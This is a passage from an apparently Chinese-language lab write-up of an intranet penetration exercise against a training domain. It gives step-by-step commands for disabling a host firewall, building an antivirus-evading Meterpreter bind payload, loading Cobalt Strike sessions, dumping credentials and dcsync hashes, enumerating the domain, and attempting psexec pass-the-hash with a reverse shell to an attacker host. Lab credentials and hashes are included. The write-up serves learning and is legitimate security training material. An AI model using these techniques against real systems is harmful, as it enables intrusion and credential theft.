可以看到几个重要端口都是开放的,这里445端口是开放的、如果可以利用的话、我们可以避免麻烦直接使用正向代理进行连接、这样就避免做二次代理的麻烦了。

开启的服务

net start

内网渗透思路学习——靶场实战——暗月项目七_第121张图片
内网渗透思路学习——靶场实战——暗月项目七_第122张图片

开启的进程

tasklist /svc     //进程列表

内网渗透思路学习——靶场实战——暗月项目七_第123张图片

信息整理

  • oa 服务器有双网卡
  • 两个 ip 分别是 10.10.1.130 和 10.10.10.166,发现了新网段 10.10.10.0/24
  • 当前是 system 权限
  • 服务器有 360 安全卫士,360 杀毒软件,windows firewall 等防护措施

免杀上线msf、CS

关闭Windows防火墙

NetSh Advfirewall set allprofiles state off

image.png
现在可以访问除 80 以外的端口,可以正向连接 oa 服务器 再进行其他操作深入的操作。
之前端口扫描只扫到一个80端口,在刚看到445端口也是开放的,再次使用nmap扫描验证一下

proxychains4 nmap -sT -Pn 10.10.1.130 -p 445

内网渗透思路学习——靶场实战——暗月项目七_第124张图片

生成免杀木马

制作payload

msfvenom -p windows/meterpreter/bind_tcp LPORT=6666 -e x86/shikata_ga_nai -i 20 -f c -o bind.txt

内网渗透思路学习——靶场实战——暗月项目七_第125张图片

免杀处理

工具地址前文有
内网渗透思路学习——靶场实战——暗月项目七_第126张图片
蚁剑上传
内网渗透思路学习——靶场实战——暗月项目七_第127张图片
发现并没有被杀掉,应该免杀成功

制作CS木马

先添加一个tcp监听,然后使用Windows Executable(Stageless)生成payload
内网渗透思路学习——靶场实战——暗月项目七_第128张图片
内网渗透思路学习——靶场实战——暗月项目七_第129张图片
蚁剑上传
内网渗透思路学习——靶场实战——暗月项目七_第130张图片
没被查杀

上线msf

设置监听


use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 10.10.1.130     #正向连接的时候直接是设置目标机器的ip即可
set lport 6666

内网渗透思路学习——靶场实战——暗月项目七_第131张图片

运行上线msf

内网渗透思路学习——靶场实战——暗月项目七_第132张图片
内网渗透思路学习——靶场实战——暗月项目七_第133张图片
可以看到成功得到session,上线msf

上线CS

运行payload
内网渗透思路学习——靶场实战——暗月项目七_第134张图片
cs监听,成功上线

connect 10.10.1.130 3333

内网渗透思路学习——靶场实战——暗月项目七_第135张图片

横向渗透

获取密码

hashdump
logonpasswords

内网渗透思路学习——靶场实战——暗月项目七_第136张图片
image.png
内网渗透思路学习——靶场实战——暗月项目七_第137张图片
ntlm解密

存在 attack 域 看来是域管理登录内网渗透思路学习——靶场实战——暗月项目七_第138张图片

域控
administrator
!@#QWEasd

过的 访问用户目录存在域管理用户目录

域信息收集

一下是一些基础命令

net user /domain 查看域用户
net view /domain 查看有几个域
net view /domian:xxx  查看域内主机
net group /domain  查看域里面的组
net group "domain computers" /domain  查看域内主机名
net group "domain admins " /domian  查看域管理员
net group "domain controllers" /domain  查看域控制器
net group "enterprise admins " /domain 查看企业管理组
net time /domain 查看时间服务器

定位域控

net time

image.png

域控:dc.attack.local

查看域控的用户登录情况

以上列举了三种方法,其实内网信息收集方法很多这里没有一一去学习,比如powershell、empire等等工具都可以

使用msf

登陆域的用户信息
run post/windows/gather/enum_logged_on_users

内网渗透思路学习——靶场实战——暗月项目七_第139张图片

域内 PC
run post/windows/gather/enum_ad_computers

内网渗透思路学习——靶场实战——暗月项目七_第140张图片

域控名和dcip
 run post/windows/gather/enum_domain

image.png

[+] FOUND Domain: attack
[+] FOUND Domain Controller: dc (IP: 10.10.10.165)

组信息
 run post/windows/gather/enum_ad_groups

使用shell

查看域内用户

内网渗透思路学习——靶场实战——暗月项目七_第141张图片
小插曲,解决乱码问题,在shell终端输入

chcp 65001

内网渗透思路学习——靶场实战——暗月项目七_第142张图片

查看域控所在的组
net group /domain

内网渗透思路学习——靶场实战——暗月项目七_第143张图片

查看登录域内的administrator用户
net localgroup administrators /domain

内网渗透思路学习——靶场实战——暗月项目七_第144张图片

查看域内的admin用户
net group "domain admins" /domain

内网渗透思路学习——靶场实战——暗月项目七_第145张图片

查看域控制器
net group "domain controllers" /domain

内网渗透思路学习——靶场实战——暗月项目七_第146张图片

使用CS

cs域内信息收集详情:
http://www.360doc.com/content/21/0614/08/71939662_981945264.shtml

cs有很多内网信息收集的插件感兴趣的可以去网上找一找

cs相关资源;
https://github.com/zer0yu/Awesome-CobaltStrike
插件:
https://github.com/lintstar/LSTAR
https://github.com/pandasec888/taowu-cobalt-strike
https://github.com/k8gege/Ladon

域名
net domain

image.png

域控登录的主机信息
net computers

内网渗透思路学习——靶场实战——暗月项目七_第147张图片

域控的主机名以及ip信息
net domain_controllers

内网渗透思路学习——靶场实战——暗月项目七_第148张图片

域控信息、用户名
net domain_trusts 

内网渗透思路学习——靶场实战——暗月项目七_第149张图片

所有登录域的用户信息
net logons 

内网渗透思路学习——靶场实战——暗月项目七_第150张图片

会话
net sessions

内网渗透思路学习——靶场实战——暗月项目七_第151张图片

共享
net share

内网渗透思路学习——靶场实战——暗月项目七_第152张图片

访问域控信息

添加路由

在oa服务器10.10.1.130的机器上在添加一条10.10.10.0/24的静态路由、以便我们访问域控的10.10.10.165的机器

run autoroute -s 10.10.10.0/24
run autoroute -p

内网渗透思路学习——靶场实战——暗月项目七_第153张图片

访问域控主机

 proxychains4 ping 10.10.10.165

内网渗透思路学习——靶场实战——暗月项目七_第154张图片

端口扫描

proxychains4 masscan -p 1-65535 10.10.10.165 --rate=500

内网渗透思路学习——靶场实战——暗月项目七_第155张图片
可以看到3389端口是开放的

proxychains nmap -sT -Pn 10.10.10.165 -p 80,89,8000,9090,1433,1521,3306,5432,445,135,443,21,22,23,2601,3389 --open

内网渗透思路学习——靶场实战——暗月项目七_第156张图片

获取域控管理员

窃取进程建立shell

msf建立dc-shell

一般可以在OA主机上发现域控管理员在线的进程,然后msf直接使用命令窃取进程,尝试获得administrator的用户shell
查看进程,可以看到attack的管理员进程也就是域控
内网渗透思路学习——靶场实战——暗月项目七_第157张图片
使用命令窃取进程
内网渗透思路学习——靶场实战——暗月项目七_第158张图片
尝试建立administrator的用户shell
内网渗透思路学习——靶场实战——暗月项目七_第159张图片
无法得到域控shell,尝试访问dc的c盘,同样无法访问,那么这个administrator是没有意义的
内网渗透思路学习——靶场实战——暗月项目七_第160张图片

rev2self

取消刚刚窃取的attack的shell
内网渗透思路学习——靶场实战——暗月项目七_第161张图片

CS建立dc-shell

注入进程,建立shell
内网渗透思路学习——靶场实战——暗月项目七_第162张图片
尝试访问文件,和查看用户
内网渗透思路学习——靶场实战——暗月项目七_第163张图片
可以看到cs能成功拿到域控了

kiwi 域管 ntlm

dcsync_ntlm administrator
dcsync_ntlm krbtgt

内网渗透思路学习——靶场实战——暗月项目七_第164张图片

SMB利用

前文已经获取了ATTCK域中administrator账户的hash,尝试PTH(在PTH之前要新建一个SMB监听器)使用CS开启一个smb监听
image.png
image.png
获取域控失败
内网渗透思路学习——靶场实战——暗月项目七_第165张图片
利用msf的smb模块也同样失败了,具体什么原因不知道

use exploit/windows/smb/psexec
set RHOSTS 10.10.10.165
set payload windows/meterpreter/reverse_tcp
set LPORT 8888
set LHOST 192.168.1.130
set SMBUSER Administrator
set SMBPASS d747b7b8037e8669c771f6a9d803419b:86c01dc8633fc387a503b05615f8afb1
set SMBDomain attack.local
exploit

内网渗透思路学习——靶场实战——暗月项目七_第166张图片

远控获取flag文件

前面尝试利用smb横向渗透获取域控失败了,不过还可以利用3389端口远程登录
内网渗透思路学习——靶场实战——暗月项目七_第167张图片
内网渗透思路学习——靶场实战——暗月项目七_第168张图片
内网渗透思路学习——靶场实战——暗月项目七_第169张图片

总结

本次渗透只是为了学习一下内网渗透中 的一些攻击思路和技巧(比如常见的横向、纵向渗透、代理穿透、提权、免杀等等),当然还有很多东西没有涉及到(端口转发、维持、日志清理等等),这些也是要继续学习的地方。本文也只是涉及到内网渗透中一些最基本的东西,还有很多方法和手段可以利用,俗话说问题是死的,人是活的,没有最好只有更好,还需继续学习。

全文参考:
https://bbs.zkaq.cn/t/5069.html
https://blog.csdn.net/weixin_46250265/article/details/122757158

你可能感兴趣的:(学习,网络,web安全,安全)